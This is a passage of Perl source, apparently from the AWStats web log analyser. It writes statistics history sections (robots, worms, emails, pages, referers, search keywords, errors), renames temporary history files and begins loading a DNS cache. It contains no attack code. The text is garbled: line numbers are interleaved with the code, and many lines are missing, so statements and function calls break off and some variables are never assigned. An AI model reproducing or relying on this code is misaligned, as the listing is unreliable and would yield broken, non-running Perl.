print HISTORYTMP "${xmlbb}BEGIN_LOGIN${xmlbs}"
6526
. ( scalar keys %_login_h )
6529
# We save login list in score sorted order to get a -output faster and with less use of memory.
6530
&BuildKeyList( $MaxNbOf{'LoginShown'}, $MinHit{'Login'}, \%_login_h,
6532
my %keysinkeylist = ();
6533
foreach (@keylist) {
6534
$keysinkeylist{$_} = 1;
6535
print HISTORYTMP "${xmlrb}$_${xmlrs}"
6536
. int( $_login_p{$_} || 0 )
6538
. int( $_login_h{$_} || 0 )
6540
. int( $_login_k{$_} || 0 )
6542
. ( $_login_l{$_} || '' )
6545
foreach ( keys %_login_h ) {
6546
if ( $keysinkeylist{$_} ) { next; }
6547
print HISTORYTMP "${xmlrb}$_${xmlrs}"
6548
. int( $_login_p{$_} || 0 )
6550
. int( $_login_h{$_} || 0 )
6552
. int( $_login_k{$_} || 0 )
6554
. ( $_login_l{$_} || '' )
6557
print HISTORYTMP "${xmleb}END_LOGIN${xmlee}\n";
6559
if ( $sectiontosave eq 'robot' ) {
6560
print HISTORYTMP "\n";
6563
"<section id='$sectiontosave'><sortfor>$MaxNbOf{'RobotShown'}</sortfor><comment>\n";
6566
"# Robot ID - Hits - Bandwidth - Last visit - Hits on robots.txt\n";
6568
"# The $MaxNbOf{'RobotShown'} first Hits must be first (order not required for others)\n";
6569
$ValueInFile{$sectiontosave} = tell HISTORYTMP;
6570
print HISTORYTMP "${xmlbb}BEGIN_ROBOT${xmlbs}"
6571
. ( scalar keys %_robot_h )
6574
# We save robot list in score sorted order to get a -output faster and with less use of memory.
6575
&BuildKeyList( $MaxNbOf{'RobotShown'}, $MinHit{'Robot'}, \%_robot_h,
6577
my %keysinkeylist = ();
6578
foreach (@keylist) {
6579
$keysinkeylist{$_} = 1;
6580
print HISTORYTMP "${xmlrb}$_${xmlrs}"
6581
. int( $_robot_h{$_} )
6583
. int( $_robot_k{$_} )
6584
. "${xmlrs}$_robot_l{$_}${xmlrs}"
6585
. int( $_robot_r{$_} || 0 )
6588
foreach ( keys %_robot_h ) {
6589
if ( $keysinkeylist{$_} ) { next; }
6590
print HISTORYTMP "${xmlrb}$_${xmlrs}"
6591
. int( $_robot_h{$_} )
6593
. int( $_robot_k{$_} )
6594
. "${xmlrs}$_robot_l{$_}${xmlrs}"
6595
. int( $_robot_r{$_} || 0 )
6598
print HISTORYTMP "${xmleb}END_ROBOT${xmlee}\n";
6600
if ( $sectiontosave eq 'worms' ) {
6601
print HISTORYTMP "\n";
6604
"<section id='$sectiontosave'><sortfor>$MaxNbOf{'WormsShown'}</sortfor><comment>\n";
6606
print HISTORYTMP "# Worm ID - Hits - Bandwidth - Last visit\n";
6608
"# The $MaxNbOf{'WormsShown'} first Hits must be first (order not required for others)\n";
6609
$ValueInFile{$sectiontosave} = tell HISTORYTMP;
6610
print HISTORYTMP "${xmlbb}BEGIN_WORMS${xmlbs}"
6611
. ( scalar keys %_worm_h )
6614
# We save worm list in score sorted order to get a -output faster and with less use of memory.
6615
&BuildKeyList( $MaxNbOf{'WormsShown'}, $MinHit{'Worm'}, \%_worm_h,
6617
my %keysinkeylist = ();
6618
foreach (@keylist) {
6619
$keysinkeylist{$_} = 1;
6620
print HISTORYTMP "${xmlrb}$_${xmlrs}"
6621
. int( $_worm_h{$_} )
6623
. int( $_worm_k{$_} )
6624
. "${xmlrs}$_worm_l{$_}${xmlre}\n";
6626
foreach ( keys %_worm_h ) {
6627
if ( $keysinkeylist{$_} ) { next; }
6628
print HISTORYTMP "${xmlrb}$_${xmlrs}"
6629
. int( $_worm_h{$_} )
6631
. int( $_worm_k{$_} )
6632
. "${xmlrs}$_worm_l{$_}${xmlre}\n";
6634
print HISTORYTMP "${xmleb}END_WORMS${xmlee}\n";
6636
if ( $sectiontosave eq 'emailsender' ) {
6637
print HISTORYTMP "\n";
6640
"<section id='$sectiontosave'><sortfor>$MaxNbOf{'EMailsShown'}</sortfor><comment>\n";
6642
print HISTORYTMP "# EMail - Hits - Bandwidth - Last visit\n";
6644
"# The $MaxNbOf{'EMailsShown'} first Hits must be first (order not required for others)\n";
6645
$ValueInFile{$sectiontosave} = tell HISTORYTMP;
6646
print HISTORYTMP "${xmlbb}BEGIN_EMAILSENDER${xmlbs}"
6647
. ( scalar keys %_emails_h )
6650
# We save sender email list in score sorted order to get a -output faster and with less use of memory.
6651
&BuildKeyList( $MaxNbOf{'EMailsShown'}, $MinHit{'EMail'}, \%_emails_h,
6653
my %keysinkeylist = ();
6654
foreach (@keylist) {
6655
$keysinkeylist{$_} = 1;
6656
print HISTORYTMP "${xmlrb}$_${xmlrs}"
6657
. int( $_emails_h{$_} || 0 )
6659
. int( $_emails_k{$_} || 0 )
6660
. "${xmlrs}$_emails_l{$_}${xmlre}\n";
6662
foreach ( keys %_emails_h ) {
6663
if ( $keysinkeylist{$_} ) { next; }
6664
print HISTORYTMP "${xmlrb}$_${xmlrs}"
6665
. int( $_emails_h{$_} || 0 )
6667
. int( $_emails_k{$_} || 0 )
6668
. "${xmlrs}$_emails_l{$_}${xmlre}\n";
6670
print HISTORYTMP "${xmleb}END_EMAILSENDER${xmlee}\n";
6672
if ( $sectiontosave eq 'emailreceiver' ) {
6673
print HISTORYTMP "\n";
6676
"<section id='$sectiontosave'><sortfor>$MaxNbOf{'EMailsShown'}</sortfor><comment>\n";
6678
print HISTORYTMP "# EMail - Hits - Bandwidth - Last visit\n";
6680
"# The $MaxNbOf{'EMailsShown'} first hits must be first (order not required for others)\n";
6681
$ValueInFile{$sectiontosave} = tell HISTORYTMP;
6682
print HISTORYTMP "${xmlbb}BEGIN_EMAILRECEIVER${xmlbs}"
6683
. ( scalar keys %_emailr_h )
6686
# We save receiver email list in score sorted order to get a -output faster and with less use of memory.
6687
&BuildKeyList( $MaxNbOf{'EMailsShown'}, $MinHit{'EMail'}, \%_emailr_h,
6689
my %keysinkeylist = ();
6690
foreach (@keylist) {
6691
$keysinkeylist{$_} = 1;
6692
print HISTORYTMP "${xmlrb}$_${xmlrs}"
6693
. int( $_emailr_h{$_} || 0 )
6695
. int( $_emailr_k{$_} || 0 )
6696
. "${xmlrs}$_emailr_l{$_}${xmlre}\n";
6698
foreach ( keys %_emailr_h ) {
6699
if ( $keysinkeylist{$_} ) { next; }
6700
print HISTORYTMP "${xmlrb}$_${xmlrs}"
6701
. int( $_emailr_h{$_} || 0 )
6703
. int( $_emailr_k{$_} || 0 )
6704
. "${xmlrs}$_emailr_l{$_}${xmlre}\n";
6706
print HISTORYTMP "${xmleb}END_EMAILRECEIVER${xmlee}\n";
6710
if ( $sectiontosave eq 'session' )
6711
{ # This section must be saved after VISITOR section is read
6712
print HISTORYTMP "\n";
6714
print HISTORYTMP "<section id='$sectiontosave'><comment>\n";
6716
print HISTORYTMP "# Session range - Number of visits\n";
6717
$ValueInFile{$sectiontosave} = tell HISTORYTMP;
6718
print HISTORYTMP "${xmlbb}BEGIN_SESSION${xmlbs}"
6719
. ( scalar keys %_session )
6721
foreach ( keys %_session ) {
6722
print HISTORYTMP "${xmlrb}$_${xmlrs}"
6723
. int( $_session{$_} )
6726
print HISTORYTMP "${xmleb}END_SESSION${xmlee}\n";
6728
if ( $sectiontosave eq 'sider' )
6729
{ # This section must be saved after VISITOR section is read
6730
print HISTORYTMP "\n";
6733
"<section id='$sectiontosave'><sortfor>$MaxNbOf{'PageShown'}</sortfor><comment>\n";
6735
print HISTORYTMP "# URL - Pages - Bandwidth - Entry - Exit\n";
6737
"# The $MaxNbOf{'PageShown'} first Pages must be first (order not required for others)\n";
6738
$ValueInFile{$sectiontosave} = tell HISTORYTMP;
6739
print HISTORYTMP "${xmlbb}BEGIN_SIDER${xmlbs}"
6740
. ( scalar keys %_url_p )
6743
# We save page list in score sorted order to get a -output faster and with less use of memory.
6744
&BuildKeyList( $MaxNbOf{'PageShown'}, $MinHit{'File'}, \%_url_p,
6746
%keysinkeylist = ();
6747
foreach (@keylist) {
6748
$keysinkeylist{$_} = 1;
6750
$newkey =~ s/([^:])\/\//$1\//g
6751
; # Because some targeted url were taped with 2 / (Ex: //rep//file.htm). We must keep http://rep/file.htm
6752
print HISTORYTMP "${xmlrb}"
6753
. XMLEncodeForHisto($newkey)
6755
. int( $_url_p{$_} || 0 )
6757
. int( $_url_k{$_} || 0 )
6759
. int( $_url_e{$_} || 0 )
6761
. int( $_url_x{$_} || 0 )
6764
foreach ( keys %_url_p ) {
6765
if ( $keysinkeylist{$_} ) { next; }
6767
$newkey =~ s/([^:])\/\//$1\//g
6768
; # Because some targeted url were taped with 2 / (Ex: //rep//file.htm). We must keep http://rep/file.htm
6769
print HISTORYTMP "${xmlrb}"
6770
. XMLEncodeForHisto($newkey)
6772
. int( $_url_p{$_} || 0 )
6774
. int( $_url_k{$_} || 0 )
6776
. int( $_url_e{$_} || 0 )
6778
. int( $_url_x{$_} || 0 )
6781
print HISTORYTMP "${xmleb}END_SIDER${xmlee}\n";
6783
if ( $sectiontosave eq 'filetypes' ) {
6784
print HISTORYTMP "\n";
6786
print HISTORYTMP "<section id='$sectiontosave'><comment>\n";
6789
"# Files type - Hits - Bandwidth - Bandwidth without compression - Bandwidth after compression\n";
6790
$ValueInFile{$sectiontosave} = tell HISTORYTMP;
6791
print HISTORYTMP "${xmlbb}BEGIN_FILETYPES${xmlbs}"
6792
. ( scalar keys %_filetypes_h )
6794
foreach ( keys %_filetypes_h ) {
6795
my $hits = $_filetypes_h{$_} || 0;
6796
my $bytes = $_filetypes_k{$_} || 0;
6797
my $bytesbefore = $_filetypes_gz_in{$_} || 0;
6798
my $bytesafter = $_filetypes_gz_out{$_} || 0;
6800
"${xmlrb}$_${xmlrs}$hits${xmlrs}$bytes${xmlrs}$bytesbefore${xmlrs}$bytesafter${xmlre}\n";
6802
print HISTORYTMP "${xmleb}END_FILETYPES${xmlee}\n";
6804
if ( $sectiontosave eq 'os' ) {
6805
print HISTORYTMP "\n";
6807
print HISTORYTMP "<section id='$sectiontosave'><comment>\n";
6809
print HISTORYTMP "# OS ID - Hits\n";
6810
$ValueInFile{$sectiontosave} = tell HISTORYTMP;
6811
print HISTORYTMP "${xmlbb}BEGIN_OS${xmlbs}"
6812
. ( scalar keys %_os_h )
6814
foreach ( keys %_os_h ) {
6815
print HISTORYTMP "${xmlrb}$_${xmlrs}$_os_h{$_}${xmlre}\n";
6817
print HISTORYTMP "${xmleb}END_OS${xmlee}\n";
6819
if ( $sectiontosave eq 'browser' ) {
6820
print HISTORYTMP "\n";
6822
print HISTORYTMP "<section id='$sectiontosave'><comment>\n";
6824
print HISTORYTMP "# Browser ID - Hits\n";
6825
$ValueInFile{$sectiontosave} = tell HISTORYTMP;
6826
print HISTORYTMP "${xmlbb}BEGIN_BROWSER${xmlbs}"
6827
. ( scalar keys %_browser_h )
6829
foreach ( keys %_browser_h ) {
6830
print HISTORYTMP "${xmlrb}$_${xmlrs}$_browser_h{$_}${xmlre}\n";
6832
print HISTORYTMP "${xmleb}END_BROWSER${xmlee}\n";
6834
if ( $sectiontosave eq 'screensize' ) {
6835
print HISTORYTMP "\n";
6837
print HISTORYTMP "<section id='$sectiontosave'><comment>\n";
6839
print HISTORYTMP "# Screen size - Hits\n";
6840
$ValueInFile{$sectiontosave} = tell HISTORYTMP;
6841
print HISTORYTMP "${xmlbb}BEGIN_SCREENSIZE${xmlbs}"
6842
. ( scalar keys %_screensize_h )
6844
foreach ( keys %_screensize_h ) {
6845
print HISTORYTMP "${xmlrb}$_${xmlrs}$_screensize_h{$_}${xmlre}\n";
6847
print HISTORYTMP "${xmleb}END_SCREENSIZE${xmlee}\n";
6851
if ( $sectiontosave eq 'unknownreferer' ) {
6852
print HISTORYTMP "\n";
6854
print HISTORYTMP "<section id='$sectiontosave'><comment>\n";
6856
print HISTORYTMP "# Unknown referer OS - Last visit date\n";
6857
$ValueInFile{$sectiontosave} = tell HISTORYTMP;
6858
print HISTORYTMP "${xmlbb}BEGIN_UNKNOWNREFERER${xmlbs}"
6859
. ( scalar keys %_unknownreferer_l )
6861
foreach ( keys %_unknownreferer_l ) {
6862
print HISTORYTMP "${xmlrb}"
6863
. XMLEncodeForHisto($_)
6864
. "${xmlrs}$_unknownreferer_l{$_}${xmlre}\n";
6866
print HISTORYTMP "${xmleb}END_UNKNOWNREFERER${xmlee}\n";
6868
if ( $sectiontosave eq 'unknownrefererbrowser' ) {
6869
print HISTORYTMP "\n";
6871
print HISTORYTMP "<section id='$sectiontosave'><comment>\n";
6873
print HISTORYTMP "# Unknown referer Browser - Last visit date\n";
6874
$ValueInFile{$sectiontosave} = tell HISTORYTMP;
6875
print HISTORYTMP "${xmlbb}BEGIN_UNKNOWNREFERERBROWSER${xmlbs}"
6876
. ( scalar keys %_unknownrefererbrowser_l )
6878
foreach ( keys %_unknownrefererbrowser_l ) {
6879
print HISTORYTMP "${xmlrb}"
6880
. XMLEncodeForHisto($_)
6881
. "${xmlrs}$_unknownrefererbrowser_l{$_}${xmlre}\n";
6883
print HISTORYTMP "${xmleb}END_UNKNOWNREFERERBROWSER${xmlee}\n";
6885
if ( $sectiontosave eq 'origin' ) {
6886
print HISTORYTMP "\n";
6888
print HISTORYTMP "<section id='$sectiontosave'><comment>\n";
6890
print HISTORYTMP "# Origin - Pages - Hits \n";
6891
$ValueInFile{$sectiontosave} = tell HISTORYTMP;
6892
print HISTORYTMP "${xmlbb}BEGIN_ORIGIN${xmlbs}6" . "${xmlbe}\n";
6893
print HISTORYTMP "${xmlrb}From0${xmlrs}"
6894
. int( $_from_p[0] )
6896
. int( $_from_h[0] )
6898
print HISTORYTMP "${xmlrb}From1${xmlrs}"
6899
. int( $_from_p[1] )
6901
. int( $_from_h[1] )
6903
print HISTORYTMP "${xmlrb}From2${xmlrs}"
6904
. int( $_from_p[2] )
6906
. int( $_from_h[2] )
6908
print HISTORYTMP "${xmlrb}From3${xmlrs}"
6909
. int( $_from_p[3] )
6911
. int( $_from_h[3] )
6913
print HISTORYTMP "${xmlrb}From4${xmlrs}"
6914
. int( $_from_p[4] )
6916
. int( $_from_h[4] )
6917
. "${xmlre}\n"; # Same site
6918
print HISTORYTMP "${xmlrb}From5${xmlrs}"
6919
. int( $_from_p[5] )
6921
. int( $_from_h[5] )
6922
. "${xmlre}\n"; # News
6923
print HISTORYTMP "${xmleb}END_ORIGIN${xmlee}\n";
6925
if ( $sectiontosave eq 'sereferrals' ) {
6926
print HISTORYTMP "\n";
6928
print HISTORYTMP "<section id='$sectiontosave'><comment>\n";
6930
print HISTORYTMP "# Search engine referers ID - Pages - Hits\n";
6931
$ValueInFile{$sectiontosave} = tell HISTORYTMP;
6932
print HISTORYTMP "${xmlbb}BEGIN_SEREFERRALS${xmlbs}"
6933
. ( scalar keys %_se_referrals_h )
6935
foreach ( keys %_se_referrals_h ) {
6936
print HISTORYTMP "${xmlrb}$_${xmlrs}"
6937
. int( $_se_referrals_p{$_} || 0 )
6938
. "${xmlrs}$_se_referrals_h{$_}${xmlre}\n";
6940
print HISTORYTMP "${xmleb}END_SEREFERRALS${xmlee}\n";
6942
if ( $sectiontosave eq 'pagerefs' ) {
6943
print HISTORYTMP "\n";
6946
"<section id='$sectiontosave'><sortfor>$MaxNbOf{'RefererShown'}</sortfor><comment>\n";
6948
print HISTORYTMP "# External page referers - Pages - Hits\n";
6950
"# The $MaxNbOf{'RefererShown'} first Pages must be first (order not required for others)\n";
6951
$ValueInFile{$sectiontosave} = tell HISTORYTMP;
6952
print HISTORYTMP "${xmlbb}BEGIN_PAGEREFS${xmlbs}"
6953
. ( scalar keys %_pagesrefs_h )
6956
# We save page list in score sorted order to get a -output faster and with less use of memory.
6958
$MaxNbOf{'RefererShown'}, $MinHit{'Refer'},
6959
\%_pagesrefs_h, \%_pagesrefs_p
6961
%keysinkeylist = ();
6962
foreach (@keylist) {
6963
$keysinkeylist{$_} = 1;
6965
$newkey =~ s/^http(s|):\/\/([^\/]+)\/$/http$1:\/\/$2/i
6966
; # Remove / at end of http://.../ but not at end of http://.../dir/
6967
print HISTORYTMP "${xmlrb}"
6968
. XMLEncodeForHisto($newkey)
6970
. int( $_pagesrefs_p{$_} || 0 )
6971
. "${xmlrs}$_pagesrefs_h{$_}${xmlre}\n";
6973
foreach ( keys %_pagesrefs_h ) {
6974
if ( $keysinkeylist{$_} ) { next; }
6976
$newkey =~ s/^http(s|):\/\/([^\/]+)\/$/http$1:\/\/$2/i
6977
; # Remove / at end of http://.../ but not at end of http://.../dir/
6978
print HISTORYTMP "${xmlrb}"
6979
. XMLEncodeForHisto($newkey)
6981
. int( $_pagesrefs_p{$_} || 0 )
6982
. "${xmlrs}$_pagesrefs_h{$_}${xmlre}\n";
6984
print HISTORYTMP "${xmleb}END_PAGEREFS${xmlee}\n";
6986
if ( $sectiontosave eq 'searchwords' ) {
6988
# Save phrases section
6989
print HISTORYTMP "\n";
6992
"<section id='$sectiontosave'><sortfor>$MaxNbOf{'KeyphrasesShown'}</sortfor><comment>\n";
6994
print HISTORYTMP "# Search keyphrases - Number of search\n";
6996
"# The $MaxNbOf{'KeyphrasesShown'} first number of search must be first (order not required for others)\n";
6997
$ValueInFile{$sectiontosave} = tell HISTORYTMP;
6998
print HISTORYTMP "${xmlbb}BEGIN_SEARCHWORDS${xmlbs}"
6999
. ( scalar keys %_keyphrases )
7002
# We will also build _keywords
7005
# We save key list in score sorted order to get a -output faster and with less use of memory.
7006
&BuildKeyList( $MaxNbOf{'KeywordsShown'},
7007
$MinHit{'Keyword'}, \%_keyphrases, \%_keyphrases );
7008
%keysinkeylist = ();
7009
foreach my $key (@keylist) {
7010
$keysinkeylist{$key} = 1;
7011
my $keyphrase = $key;
7012
$keyphrase =~ tr/ /\+/s;
7013
print HISTORYTMP "${xmlrb}"
7014
. XMLEncodeForHisto($keyphrase)
7016
. $_keyphrases{$key}
7018
foreach ( split( /\+/, $key ) ) {
7019
$_keywords{$_} += $_keyphrases{$key};
7020
} # To init %_keywords
7022
foreach my $key ( keys %_keyphrases ) {
7023
if ( $keysinkeylist{$key} ) { next; }
7024
my $keyphrase = $key;
7025
$keyphrase =~ tr/ /\+/s;
7026
print HISTORYTMP "${xmlrb}"
7027
. XMLEncodeForHisto($keyphrase)
7029
. $_keyphrases{$key}
7031
foreach ( split( /\+/, $key ) ) {
7032
$_keywords{$_} += $_keyphrases{$key};
7033
} # To init %_keywords
7035
print HISTORYTMP "${xmleb}END_SEARCHWORDS${xmlee}\n";
7037
# Now save keywords section
7038
print HISTORYTMP "\n";
7041
"<section id='keywords'><sortfor>$MaxNbOf{'KeywordsShown'}</sortfor><comment>\n";
7043
print HISTORYTMP "# Search keywords - Number of search\n";
7045
"# The $MaxNbOf{'KeywordsShown'} first number of search must be first (order not required for others)\n";
7046
$ValueInFile{"keywords"} = tell HISTORYTMP;
7047
print HISTORYTMP "${xmlbb}BEGIN_KEYWORDS${xmlbs}"
7048
. ( scalar keys %_keywords )
7051
# We save key list in score sorted order to get a -output faster and with less use of memory.
7052
&BuildKeyList( $MaxNbOf{'KeywordsShown'},
7053
$MinHit{'Keyword'}, \%_keywords, \%_keywords );
7054
%keysinkeylist = ();
7055
foreach (@keylist) {
7056
$keysinkeylist{$_} = 1;
7058
print HISTORYTMP "${xmlrb}"
7059
. XMLEncodeForHisto($keyword)
7064
foreach ( keys %_keywords ) {
7065
if ( $keysinkeylist{$_} ) { next; }
7067
print HISTORYTMP "${xmlrb}"
7068
. XMLEncodeForHisto($keyword)
7073
print HISTORYTMP "${xmleb}END_KEYWORDS${xmlee}\n";
7078
if ( $sectiontosave eq 'cluster' ) {
7079
print HISTORYTMP "\n";
7081
print HISTORYTMP "<section id='$sectiontosave'><comment>\n";
7083
print HISTORYTMP "# Cluster ID - Pages - Hits - Bandwidth\n";
7084
$ValueInFile{$sectiontosave} = tell HISTORYTMP;
7085
print HISTORYTMP "${xmlbb}BEGIN_CLUSTER${xmlbs}"
7086
. ( scalar keys %_cluster_h )
7088
foreach ( keys %_cluster_h ) {
7089
print HISTORYTMP "${xmlrb}$_${xmlrs}"
7090
. int( $_cluster_p{$_} || 0 )
7092
. int( $_cluster_h{$_} || 0 )
7094
. int( $_cluster_k{$_} || 0 )
7097
print HISTORYTMP "${xmleb}END_CLUSTER${xmlee}\n";
7099
if ( $sectiontosave eq 'misc' ) {
7100
print HISTORYTMP "\n";
7102
print HISTORYTMP "<section id='$sectiontosave'><comment>\n";
7104
print HISTORYTMP "# Misc ID - Pages - Hits - Bandwidth\n";
7105
$ValueInFile{$sectiontosave} = tell HISTORYTMP;
7106
print HISTORYTMP "${xmlbb}BEGIN_MISC${xmlbs}"
7107
. ( scalar keys %MiscListCalc )
7109
foreach ( keys %MiscListCalc ) {
7110
print HISTORYTMP "${xmlrb}$_${xmlrs}"
7111
. int( $_misc_p{$_} || 0 )
7113
. int( $_misc_h{$_} || 0 )
7115
. int( $_misc_k{$_} || 0 )
7118
print HISTORYTMP "${xmleb}END_MISC${xmlee}\n";
7120
if ( $sectiontosave eq 'errors' ) {
7121
print HISTORYTMP "\n";
7123
print HISTORYTMP "<section id='$sectiontosave'><comment>\n";
7125
print HISTORYTMP "# Errors - Hits - Bandwidth\n";
7126
$ValueInFile{$sectiontosave} = tell HISTORYTMP;
7127
print HISTORYTMP "${xmlbb}BEGIN_ERRORS${xmlbs}"
7128
. ( scalar keys %_errors_h )
7130
foreach ( keys %_errors_h ) {
7131
print HISTORYTMP "${xmlrb}$_${xmlrs}$_errors_h{$_}${xmlrs}"
7132
. int( $_errors_k{$_} || 0 )
7135
print HISTORYTMP "${xmleb}END_ERRORS${xmlee}\n";
7138
# Other - Trapped errors
7139
foreach my $code ( keys %TrapInfosForHTTPErrorCodes ) {
7140
if ( $sectiontosave eq "sider_$code" ) {
7141
print HISTORYTMP "\n";
7143
print HISTORYTMP "<section id='$sectiontosave'><comment>\n";
7146
"# URL with $code errors - Hits - Last URL referer\n";
7147
$ValueInFile{$sectiontosave} = tell HISTORYTMP;
7148
print HISTORYTMP "${xmlbb}BEGIN_SIDER_$code${xmlbs}"
7149
. ( scalar keys %_sider404_h )
7151
foreach ( keys %_sider404_h ) {
7153
my $newreferer = $_referer404_h{$_} || '';
7154
print HISTORYTMP "${xmlrb}"
7155
. XMLEncodeForHisto($newkey)
7156
. "${xmlrs}$_sider404_h{$_}${xmlrs}"
7157
. XMLEncodeForHisto($newreferer)
7160
print HISTORYTMP "${xmleb}END_SIDER_$code${xmlee}\n";
7164
# Other - Extra stats sections
7165
foreach my $extranum ( 1 .. @ExtraName - 1 ) {
7166
if ( $sectiontosave eq "extra_$extranum" ) {
7167
print HISTORYTMP "\n";
7170
"<section id='$sectiontosave'><sortfor>$MaxNbOfExtra[$extranum]</sortfor><comment>\n";
7173
"# Extra key - Pages - Hits - Bandwidth - Last access\n";
7175
"# The $MaxNbOfExtra[$extranum] first number of hits are first\n";
7176
$ValueInFile{$sectiontosave} = tell HISTORYTMP;
7177
print HISTORYTMP "${xmlbb}BEGIN_EXTRA_$extranum${xmlbs}"
7178
. scalar( keys %{ '_section_' . $extranum . '_h' } )
7181
$MaxNbOfExtra[$extranum],
7182
$MinHitExtra[$extranum],
7183
\%{ '_section_' . $extranum . '_h' },
7184
\%{ '_section_' . $extranum . '_p' }
7186
%keysinkeylist = ();
7187
foreach (@keylist) {
7188
$keysinkeylist{$_} = 1;
7189
my $page = ${ '_section_' . $extranum . '_p' }{$_} || 0;
7190
my $bytes = ${ '_section_' . $extranum . '_k' }{$_} || 0;
7191
my $lastaccess = ${ '_section_' . $extranum . '_l' }{$_} || '';
7192
print HISTORYTMP "${xmlrb}"
7193
. XMLEncodeForHisto($_)
7194
. "${xmlrs}$page${xmlrs}",
7195
${ '_section_' . $extranum . '_h' }{$_},
7196
"${xmlrs}$bytes${xmlrs}$lastaccess${xmlre}\n";
7199
foreach ( keys %{ '_section_' . $extranum . '_h' } ) {
7200
if ( $keysinkeylist{$_} ) { next; }
7201
my $page = ${ '_section_' . $extranum . '_p' }{$_} || 0;
7202
my $bytes = ${ '_section_' . $extranum . '_k' }{$_} || 0;
7203
my $lastaccess = ${ '_section_' . $extranum . '_l' }{$_} || '';
7204
print HISTORYTMP "${xmlrb}"
7205
. XMLEncodeForHisto($_)
7206
. "${xmlrs}$page${xmlrs}",
7207
${ '_section_' . $extranum . '_h' }{$_},
7208
"${xmlrs}$bytes${xmlrs}$lastaccess${xmlre}\n";
7211
print HISTORYTMP "${xmleb}END_EXTRA_$extranum${xmlee}\n";
7215
# Other - Plugin sections
7216
if ( $AtLeastOneSectionPlugin && $sectiontosave =~ /^plugin_(\w+)$/i ) {
7217
my $pluginname = $1;
7218
if ( $PluginsLoaded{'SectionInitHashArray'}{"$pluginname"} ) {
7220
# my $function="SectionWriteHistory_$pluginname(\$xml,\$xmlbb,\$xmlbs,\$xmlbe,\$xmlrb,\$xmlrs,\$xmlre,\$xmleb,\$xmlee)";
7221
# eval("$function");
7222
my $function = "SectionWriteHistory_$pluginname";
7224
$xml, $xmlbb, $xmlbs, $xmlbe, $xmlrb,
7225
$xmlrs, $xmlre, $xmleb, $xmlee
7230
%keysinkeylist = ();
7233
#--------------------------------------------------------------------
7234
# Function: Rename all tmp history file into history
7236
# Input: $DirData $PROG $FileSuffix
7237
# $KeepBackupOfHistoricFile $SaveDatabaseFilesWithPermissionsForEveryone
7239
# Return: 1 Ok, 0 at least one error (tmp files are removed)
7240
#--------------------------------------------------------------------
7241
sub Rename_All_Tmp_History {
7246
debug("Call to Rename_All_Tmp_History (FileSuffix=$FileSuffix)");
7249
opendir( DIR, "$DirData" );
7252
if ( $DatabaseBreak eq 'month' ) { $datemask = '\d\d\d\d\d\d'; }
7253
elsif ( $DatabaseBreak eq 'year' ) { $datemask = '\d\d\d\d'; }
7254
elsif ( $DatabaseBreak eq 'day' ) { $datemask = '\d\d\d\d\d\d\d\d'; }
7255
elsif ( $DatabaseBreak eq 'hour' ) { $datemask = '\d\d\d\d\d\d\d\d\d\d'; }
7258
"Scan for temp history files to rename into DirData='$DirData' with mask='$datemask'"
7262
my $regfilesuffix = quotemeta($FileSuffix);
7263
foreach ( grep /^$PROG($datemask)$regfilesuffix\.tmp\.$pid$/,
7264
file_filt sort readdir DIR )
7266
/^$PROG($datemask)$regfilesuffix\.tmp\.$pid$/;
7267
if ($renameok) { # No rename error yet
7270
" Rename new tmp history file $PROG$1$FileSuffix.tmp.$$ into $PROG$1$FileSuffix.txt",
7274
if ( -s "$DirData/$PROG$1$FileSuffix.tmp.$$" )
7275
{ # Rename tmp files if size > 0
7276
if ($KeepBackupOfHistoricFiles) {
7277
if ( -s "$DirData/$PROG$1$FileSuffix.txt" )
7278
{ # History file already exists. We backup it
7281
" Make a backup of old history file into $PROG$1$FileSuffix.bak before",
7286
#if (FileCopy("$DirData/$PROG$1$FileSuffix.txt","$DirData/$PROG$1$FileSuffix.bak")) {
7289
"$DirData/$PROG$1$FileSuffix.txt",
7290
"$DirData/$PROG$1$FileSuffix.bak"
7295
"Warning: Failed to make a backup of \"$DirData/$PROG$1$FileSuffix.txt\" into \"$DirData/$PROG$1$FileSuffix.bak\"."
7298
if ($SaveDatabaseFilesWithPermissionsForEveryone) {
7299
chmod 0666, "$DirData/$PROG$1$FileSuffix.bak";
7304
debug( " No need to backup old history file", 1 );
7310
"$DirData/$PROG$1$FileSuffix.tmp.$$",
7311
"$DirData/$PROG$1$FileSuffix.txt"
7316
0; # At least one error in renaming working files
7318
unlink "$DirData/$PROG$1$FileSuffix.tmp.$$";
7320
"Warning: Failed to rename \"$DirData/$PROG$1$FileSuffix.tmp.$$\" into \"$DirData/$PROG$1$FileSuffix.txt\".\nWrite permissions on \"$PROG$1$FileSuffix.txt\" might be wrong"
7322
$ENV{'GATEWAY_INTERFACE'}
7323
? " for an 'update from web'"
7326
. " or file might be opened."
7330
if ($SaveDatabaseFilesWithPermissionsForEveryone) {
7331
chmod 0666, "$DirData/$PROG$1$FileSuffix.txt";
7335
else { # Because of rename error, we remove all remaining tmp files
7336
unlink "$DirData/$PROG$1$FileSuffix.tmp.$$";
7343
#------------------------------------------------------------------------------
7344
# Function: Load DNS cache file entries into a memory hash array
7345
# Parameters: Hash array ref to load into,
7346
# File name to load,
7347
# File suffix to use
7348
# Save to a second plugin file if not up to date
7350
# Output: Hash array is loaded
7351
# Return: 1 No DNS Cache file found, 0 OK
7352
#------------------------------------------------------------------------------
7353
sub Read_DNS_Cache {
7354
my $hashtoload = shift;
7355
my $dnscachefile = shift;
7356
my $filesuffix = shift;
7357
my $savetohash = shift;
7359
my $dnscacheext = '';
7360
my $filetoload = '';
7361
my $timetoload = time();
7363
if ($Debug) { debug("Call to Read_DNS_Cache [file=\"$dnscachefile\"]"); }
7364
if ( $dnscachefile =~ s/(\.\w+)$// ) { $dnscacheext = $1; }
7365
foreach my $dir ( "$DirData", ".", "" ) {
7366
my $searchdir = $dir;
7368
&& ( !( $searchdir =~ /\/$/ ) )
7369
&& ( !( $searchdir =~ /\\$/ ) ) )
7373
if ( -f "${searchdir}$dnscachefile$filesuffix$dnscacheext" ) {
7374
$filetoload = "${searchdir}$dnscachefile$filesuffix$dnscacheext";
7377
# Plugin call : Change filetoload
7378
if ( $PluginsLoaded{'SearchFile'}{'hashfiles'} ) {
7379
SearchFile_hashfiles(
7380
$searchdir, $dnscachefile, $filesuffix,
7381
$dnscacheext, $filetoload
7384
if ($filetoload) { last; } # We found a file to load
7387
if ( !$filetoload ) {
7388
if ($Debug) { debug(" No DNS Cache file found"); }
7392
# Plugin call : Load hashtoload
7393
if ( $PluginsLoaded{'LoadCache'}{'hashfiles'} ) {
7394
LoadCache_hashfiles( $filetoload, $hashtoload );
7396
if ( !scalar keys %$hashtoload ) {
7397
